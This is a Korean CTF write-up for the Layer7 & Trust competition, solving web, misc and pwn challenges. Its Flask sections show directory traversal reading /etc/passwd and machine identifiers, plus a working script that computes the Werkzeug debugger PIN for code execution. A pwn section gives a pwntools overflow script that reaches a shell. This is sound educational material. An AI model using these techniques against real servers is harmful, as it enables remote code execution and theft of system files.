[CTF] Layer7 & Trust CTF WriteUp
CTF

[CTF] Layer7 & Trust CTF WriteUp

반응형

Layer7 & Trust CTF

순위: 8위


Misc - Sanity Check [50]

nc 명령어를 통해 주어진 서버로 접속해보았다.

FLAG : L7TR{this_is_nc(wikipedia.org/wiki/Netcat)}


Web - Unexploitable [50]

문제에 제시된 URL로 접속해보았다.

해당 URL에서 저 문구 하나밖에 발견할 수가 없어서 당황 좀 했다.

app.py를 열어보니

from flask import Flask

app = Flask(__name__)

@app.route('/')
def main():
    return 'sorry this challenge is unexploitable zzlol'

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=3982)

이 코드에서 발견할 수 있는 취약점이 뭐가 있을지 한참을 삽질하다가 발견하게된 취약점.

 

flask 모듈에서 사용되는 debug=True 옵션은

PIN을 주고 웹 상에서 대화형 디버깅 콘솔을 실행시켜 직접 코드작업을 할 수 있도록 돕는 기능을 한다.

 

console 접근 방법은 http://<host_domain or host_ip>:<port>/console

따라서 위 문제에서 주어진 ooooo.pw:4001/console 로 접근했다.

이 디버거엔 PIN 이 설정되어있지 않아서 바로 console 명령어(python 언어)가 사용 가능했다. 

바로 os 모듈을 import 해서 flag 파일을 열었다.

FLAG : L7TR{zzlol}


Web - Unexploitable Revenge [125]

 

이전 문제 심화버전이다. 주어진 app.py 코드를 확인해보니 여전히 flask 디버거가 활성화 되어있었다. 

from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def main():
    return '''
<a href="show?club=layer7.html">Layer7</a>
<br>
<a href="show?club=trust.html">Trust</a>
'''

@app.route('/show')
def show_club():
    fn = request.args.get('club')
    path = '/home/unexploitable/' + fn

    return open(path, 'r').read()


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=3982)

코드 분석 결과, http://ooooo.pw:4002/show URL에서 club이라는 파라미터를 받아서

파일 내용을 읽어주는 기능을 하고있다.

 

a 태그를 눌러보면

이런 문구와 함께 URL 부분에 경로가 추가된다. 

주어진 파이썬 코드에서 현재 경로가 /home/unexploitable 이라고 제시되어있으므로

Directory Traversal 을 시도해보았다. 

가장 만만한 /etc/passwd 파일에 접근이 가능했다. 

 

이전 문제였던 Unexploitable 에선 URL + console 로 접속하면 콘솔창이 열렸다.

하지만 이번 문제에선 PIN번호가 필요했다. 

엄청난 삽질 끝에 PIN번호를 Leak 할 수 있다는 것을 발견하게 되었다. 

 

이 코드를 직접 짜기 위해선(이해하기 위해선) PIN 이 생성되는 파일의 위치를 알아야 한다.

/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py 파일을 참고해보자.

(버전마다 위치가 약간 다름)

에러가 뜬다. 이런 파일을 찾을 수 없다고 한다. 

에러 내용을 훑어보다보니 경로가 대충 나와있었다. 

파이썬의 버전은 2.7이고,

flask 가 위치한 경로는 /usr/local/lib/python2.7/dist-pakages/flask/app.py

 

따라서 __init__.py 파일의 위치는 /usr/local/lib/python2.7/dist-packages/werkzeug/debug/__init__.py

라고 유추할 수 있다. 해당 경로로 접속하게 되면

__init__파일을 볼 수 있고, PIN 번호를 만드는 코드를 확인 할 수 있다.

__init__.py
0.01MB

코드를 분석하고 flask 디버거의 PIN을 Leak 시키는 exploit 코드를 작성해보았다.

(PIN을 생성하는 코드를 서칭하며 찾을 수 있었다.)

 

해당 문제 웹서버에서 정보를 몇가지 탈취해야 한다.

1. flask 를 실행시킨 username (/etc/passwd or /etc/group 으로 유추 가능)

2. python 버전마다 위치가 다른 flask 메인 app.py 파일 ( getattr(mod, '__file__', None) 함수를 통해 확인 가능)

  ( 보통 아까 에러 발생 시 표시되던 경로 : /usr/local/lib/python2.7/dist-pakages/flask/app.py )

3. 웹서버의 MAC 주소를 int형으로 변환한 값 ( /sys/class/net/<네트워크 디바이스 명>/address )

  ( 디바이스 번호 확인법 : /proc/net/arp 파일 내용 확인 )

4. machine-id + /proc/self/cgroup을 '/' 문자로 나눴을 때 index 2번째에 위치한 값 

  ( machine-id : /etc/machine-id or /proc/sys/kernel/random/boot_id )

 

하나하나 찾아보도록 하자

 

< username >

아까 app.py 내 코드에서 show?club= 으로 파일을 읽어들일 때 기본 경로가 /home/unexploitable 이였으므로

username : unexploitable

 

< flask 폴더 내에 app.py 파일>

에러 발생시킬 때 나왔던 경로 : /usr/local/lib/python2.7/dist-pakages/flask/app.py

 

< 웹서버의 MAC 주소 >

/proc/net/arp

/sys/class/net/<네트워크 디바이스명(eth0)>/address

MAC 주소 : 02:42:c0:a8:f0:02

 

< machine-id + cgroup.split('/')[2] >

machine-id : b2680e69-36a5-4598-b8cb-021a1c97fd8b

cgroup.split('/')[2] : 7d77a34c379f56e3b048c88db8bfed5015c72fcb13b468fac35ad31ec3887246

 

이러한 정보로 작성한 exploit 코드

import hashlib
from itertools import chain

probably_public_bits = [
    'unexploitable',  # username
    'flask.app',  # modname 고정
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
    '/usr/local/lib/python2.7/dist-packages/flask/app.py'  # getattr(mod, '__file__', None)
    # python 버전 마다 위치 다름
]

private_bits = [
    '2485723394050',  # MAC주소를 int형으로 변환한 값,
    'b2680e69-36a5-4598-b8cb-021a1c97fd8b'+'7d77a34c379f56e3b048c88db8bfed5015c72fcb13b468fac35ad31ec3887246'  # get_machine_id()
    # machine-id + cgroup.split('/')[2]
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

실행결과 : 

이렇게 해서 PIN을 Leak 할 수 있고 나머지는 이전 문제와 동일하게 풀면 된다

FLAG : L7TR{i_didnt_know_this_was_in_dreamhack}


Misc - padding [50]

제시된 padding.py를 열어보았다. 

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import sys

FLAG = open('./flag', 'r').read()
MENU = '''1. base64 encode
2. base64 decode
>> '''

def send(msg):
    sys.stdout.write(msg)
    sys.stdout.flush()

def menu():
    send(MENU)
    return int(raw_input())

def myEncode():
    send('Msg : ')
    msg = raw_input()
    enc = msg.encode('base64').strip()
    send('Encoded : ' + enc + '\n\n')

def myDecode():
    send('Encoded : ')
    enc = raw_input()
    msg = enc.decode('base64')
    send('Msg : ' + msg + '\n\n')

    new_enc = msg.encode('base64').strip()
    if len(enc) != len(new_enc):
        send(FLAG+'\n')
        sys.exit(0)


if __name__ == '__main__':
    while True:
        opt = menu()

        if opt == 1:
            myEncode()
        elif opt == 2:
            myDecode()
        else:
            send('Invalid Option\n\n')

base64 encoding 되어있는 값 사이에 띄어쓰기 넣어주고

디코드 시키면 풀리는 문제였다.

FLAG : L7TR{hope_you_understand_the_padding_now_:D}


Misc - 플래그 뿌리는 문제 [50]

아무것도 주어져 있지 않았지만 Chrome 개발자 도구를 이용하면

display:none 으로 숨겨진 태그의 내용이 보인다

 

FLAG : L7TR{HIDDEN_FLAG!}


Misc - Calc [50]

nc ooooo.pw 40003 접속해보았다

수학 문제가 10개 나와서 그냥 풀어도 되지만 실력 향상을 위해 코드를 짰다

from pwn import *
p = remote("ooooo.pw",40003)
print(p.recvuntil("!!\n"))

while(True):
    templist = p.recvrepeat(0.5).decode('utf-8').split(' ')
    print(templist)
    if len(templist) == 3:
        if templist[1] == '+':
            temp = float(templist[0]) + float(templist[2])
        elif templist[1] == '-':
            temp = float(templist[0]) - float(templist[2])
        elif templist[1] == '*':
            temp = float(templist[0]) * float(templist[2])
        elif templist[1] == '/':
            temp = float(templist[0]) / float(templist[2])
        elif templist[1] == '%':
            temp = 0

        if temp > 0 and float(temp).is_integer():
            print(int(float(temp)))
            p.sendline(str(int(float(temp))))
        else:
            print('x')
            p.sendline('x')
    else:
        break

print(temp)
p.interactive()

FLAG : L7TF{%_IS_NOT_FOUR_FUNDAMENTAL_ARITHMETIC_OPERATOR_ZzzZZZZZ}


Misc - TRUST [75]

문제에 첨부된 docx 파일을 열어보았다.

하단에 제시되어있는 플래그를 입력했지만 Incorrect Answer 이였다.

docx 타입은 zip과 파일시그니처가 같아서 확장자를 .zip으로 바꿔 열어보았다.

TRUST.zip을 한번 더 압축풀었다.

ReadMe.txt 내용은 다음과 같다

일단 압축을 풀어 윈도우 검색기능을 사용하여 key.txt를 찾았다.

유튜브 주소에 접속해서 설명란에 있는 TRUST.png 로고를 발견해서 다운로드를 받았다.

HxD 라는 파일 분석 툴을 이용하여 png파일을 열고 세 가지 파일을 찾아냈다.

wav 파일을 열었더니 모스부호 소리가 나오기 시작했다. 

모스부호 변환 사이트에 들어가, 변환시켰다.

사진 2장과 모스부호 번역을 합치면 플래그가 나온다.

 

FLAG : L7TR{N0W_Y0U_KN0W_TH3_TRUST}


Pwn - scanf [50]

주어진 파일 분석을 위해 ida-64bit 로 열었다.

8byte인 v7 변수를 부분부분 대입하여 값을 대입해놓고,

반복문을 통하여 무언가를 입력받고 있다.

peda gdb로 확인해보니 v7=0xDEADBEEF00006325 가 들어가게 되는데

0x6325가 확인해보니 %c였고, BYTE2(v7) = 0; 부분("\00" 추측) 때문에 문자열이 끊겨서

scanf("%c", &v5 + i); 이 된다고 생각했다. 

 

그래서 for문을 통해 한글자씩 받아와, v5변수에 총 18자를 입력할 수 있도록 코드가 짜여있다.

그리고 마지막에 HIDWORD(v7)의 값이 0x13371337이 되면 win()함수를 호출해주는데

win() 함수에선 system("/bin/sh") 를 실행해준다.

 

%c로 입력을 받게 되면 총 18자밖에 입력받지 못하는데 v5부터 v7까지 덮으려면 16자가 필요하다. 

그래서 v7의 LOWORD 부분을 %s(0x7325)로 변경해주고 HIDWORD 부분을 0x13371337 값으로 덮어주어 문제를 풀었다.

from pwn import *
p = process('./scanf')

temp = 'a' * 16
temp += '\x25\x73'
pay = 'bb'
pay += p64(0x13371337)

for i in temp:
    p.recvrepeat(0.5)
    p.sendline(i)

p.sendline(pay)
p.interactive()

%s (\x25\x73) 을 넣어 준 후에 'bb'를 넣어준 이유는 

v7 안에 값 중 0000 부분을 메꾸기 위함이다.

FLAG : L7TR{scanf("%s",buf); is so dangerous}

반응형